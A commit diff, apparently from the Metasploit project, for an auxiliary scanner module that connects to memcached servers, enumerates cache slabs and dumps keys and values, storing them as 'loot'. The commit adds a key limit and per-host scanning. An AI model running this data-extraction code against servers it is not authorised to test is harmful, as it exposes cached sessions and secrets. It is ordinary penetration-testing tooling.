add maxkeys option, dont store loot if localhost and improve streaming

bug/bundler_fix
pdeardorff-r7 2015-01-17 09:25:32 -08:00
parent f1bcbb7d78
commit db3185231a
1 changed files with 34 additions and 12 deletions

View File

@ -7,6 +7,7 @@ require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::Tcp
include Msf::Auxiliary::Scanner
include Msf::Auxiliary::Report
def initialize(info = {})
@ -22,18 +23,27 @@ class Metasploit3 < Msf::Auxiliary
register_options(
[
Opt::RPORT(11211)
Opt::RPORT(11211),
OptInt.new('MAXKEYS', [ true, 'Maximum number of keys to be pulled from a slab', 100] )
], self.class)
end
def max_keys
datastore['MAXKEYS'].to_i
end
# Returns array of keys for all slabs
def enumerate_keys
keys = []
enumerate_slab_ids.each do |sid|
sock.send("stats cachedump #{sid} 100\r\n", 0)
loop do
sock.send("stats cachedump #{sid} #{max_keys}\r\n", 0)
data = sock.recv(4096)
break if !data || data.length == 0
matches = /^ITEM (?<key>.*) \[/.match(data)
keys << matches[:key] if matches
break if data =~ /^END/
end
end
keys
end
@ -76,17 +86,29 @@ class Metasploit3 < Msf::Auxiliary
matches[:version] || 'unkown version'
end
def run
print_status("#{rhost}:#{rport} - Connecting to memcached server...")
def run_host(ip)
print_status("#{ip}:#{rport} - Connecting to memcached server...")
begin
connect
print_good("Connected to memcached #{determine_version}")
keys = enumerate_keys
print_good("Found #{keys.size} keys")
return if keys.size == 0
data = data_for_keys(keys)
rhost = 'localhost.memcached' if %w(localhost 127.0.0.1).include?(rhost)
store_loot('memcached.dump', 'text/plain', rhost, data, 'memcached.txt', 'Memcached extractor')
if %w(localhost 127.0.0.1).include?(ip)
result_table = Rex::Ui::Text::Table.new(
'Header' => "Keys/Values Found for #{ip}:#{rport}",
'Indent' => 1,
'Columns' => [ 'Key', 'Value' ]
)
data.take(10).each { |r| result_table << r }
print_line
print_line("#{result_table}")
else
store_loot('memcached.dump', 'text/plain', ip, data, 'memcached.txt', 'Memcached extractor')
print_good("Loot stored!")
end
rescue Rex::ConnectionRefused, Rex::ConnectionTimeout
print_error("Could not connect to memcached server!")
end